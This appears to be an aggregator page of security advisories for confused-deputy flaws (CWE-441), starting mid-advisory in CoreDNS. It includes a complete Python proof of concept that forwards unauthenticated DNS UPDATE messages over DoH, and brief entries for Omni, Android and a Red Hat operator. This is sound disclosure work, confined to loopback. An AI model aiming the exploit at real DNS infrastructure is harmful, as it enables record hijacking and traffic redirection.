    main()

Start the vulnerable revision:

./coredns -conf Corefile.poc

In a second terminal, run the probe:

$ python3 poc.py --expect forwarded
payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=200 response_bytes=29
upstream_received_update=true source=127.0.0.1:52391
upstream_record=foo.example.com. 300 IN A 192.0.2.123
result=forwarded

The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.

For comparison, build and start CoreDNS with the fix:

git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main
go build -tags=grpcnotrace -o coredns-fixed .
./coredns-fixed -conf Corefile.poc

The same probe is rejected before reaching the synthetic upstream:

$ python3 poc.py --expect blocked
payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=400 response_bytes=16
upstream_received_update=false
result=blocked

Impact

Exploitation requires all of the following:

  • an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener
  • the selected proxy/forward target accepts RFC 2136 UPDATE
  • the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG

The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:33:05Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS\u0027s source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset \u003e= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length \u0026 0xC0 == 0xC0:\n            if offset + 1 \u003e= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length \u0026 0x3F) \u003c\u003c 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length \u0026 0xC0 or offset + length \u003e len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset \u003e len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags \u003e\u003e 11) \u0026 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) \u003c size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
  "id": "GHSA-9gm5-9rfh-m6vx",
  "modified": "2026-09-17T20:33:06Z",
  "published": "2026-09-17T20:33:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP"
}

GHSA-C36Q-V25W-M4PC

Vulnerability from github – Published: 2026-03-10 21:32 – Updated: 2026-03-11 18:30
VLAI
Details

In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T21:16:44Z",
    "severity": "HIGH"
  },
  "details": "In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-c36q-v25w-m4pc",
  "modified": "2026-03-11T18:30:28Z",
  "published": "2026-03-10T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0107"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C66C-VQ6W-FVH5

Vulnerability from github – Published: 2026-06-05 15:25 – Updated: 2026-06-05 15:25
VLAI
Summary
Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic
Details

Summary

managementServer.CreateSchematic (internal/backend/grpc/schematics.go) passes the caller-controlled TalosVersion field directly to imageFactoryClient.OverlaysVersions, which embeds it verbatim into a fmt.Sprintf("/version/%s/overlays/official", talosVersion) path template. url.URL.JoinPath resolves any ../ sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.

Severity

  • Attack Vector: Network: exploited via the gRPC CreateSchematic API endpoint.
  • Attack Complexity: Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.
  • Privileges Required: High: role.Operator is required, which has administrative capabilities on Omni.
  • User Interaction: None.
  • Scope: Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.
  • Confidentiality Impact: Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.
  • Integrity Impact: None: only HTTP GET requests are issued; no write operations are performed.
  • Availability Impact: None.

Impact

  • Same-host path traversal: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.
  • Error-body disclosure: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.
  • Internal network probing: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.
  • Depth control: By varying the number of ../ prefixes in talosVersion, the attacker can reach any path hierarchy on the image-factory host.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-209",
      "CWE-22",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T15:25:58Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`managementServer.CreateSchematic` (`internal/backend/grpc/schematics.go`) passes the caller-controlled `TalosVersion` field directly to `imageFactoryClient.OverlaysVersions`, which embeds it verbatim into a `fmt.Sprintf(\"/version/%s/overlays/official\", talosVersion)` path template. `url.URL.JoinPath` resolves any `../` sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.\n\n## Severity\n\n- **Attack Vector:** Network: exploited via the gRPC `CreateSchematic` API endpoint.\n- **Attack Complexity:** Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.\n- **Privileges Required:** High: `role.Operator` is required, which has administrative capabilities on Omni.\n- **User Interaction:** None.\n- **Scope:** Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.\n- **Confidentiality Impact:** Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.\n- **Integrity Impact:** None: only HTTP GET requests are issued; no write operations are performed.\n- **Availability Impact:** None.\n\n## Impact\n\n- **Same-host path traversal**: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.\n- **Error-body disclosure**: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.\n- **Internal network probing**: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.\n- **Depth control**: By varying the number of `../` prefixes in `talosVersion`, the attacker can reach any path hierarchy on the image-factory host.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-c66c-vq6w-fvh5",
  "modified": "2026-06-05T15:25:58Z",
  "published": "2026-06-05T15:25:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-c66c-vq6w-fvh5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siderolabs/omni"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic"
}

GHSA-C6JR-FJV5-8XFV

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-10 15:32
VLAI
Details

In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:53Z",
    "severity": "HIGH"
  },
  "details": "In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-c6jr-fjv5-8xfv",
  "modified": "2026-09-10T15:32:59Z",
  "published": "2026-09-08T21:34:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28614"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC8C-28GJ-PX38

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 20:40
VLAI
Summary
Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access
Details

A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster's main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.

This allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster's configuration or status on the Red Hat platform.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/RedHatInsights/runtimes-inventory-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251211184433-5123422abee1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T20:40:12Z",
    "nvd_published_at": "2025-12-15T17:15:51Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster\u0027s main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.\n\nThis allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster\u0027s configuration or status on the Red Hat platform.",
  "id": "GHSA-cc8c-28gj-px38",
  "modified": "2025-12-16T20:40:12Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23236"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402032"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RedHatInsights/runtimes-inventory-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access"
}

GHSA-CF4X-9JJ3-94W2

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31
VLAI
Details

In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-cf4x-9jj3-94w2",
  "modified": "2025-09-04T21:31:38Z",
  "published": "2025-09-04T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48532"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.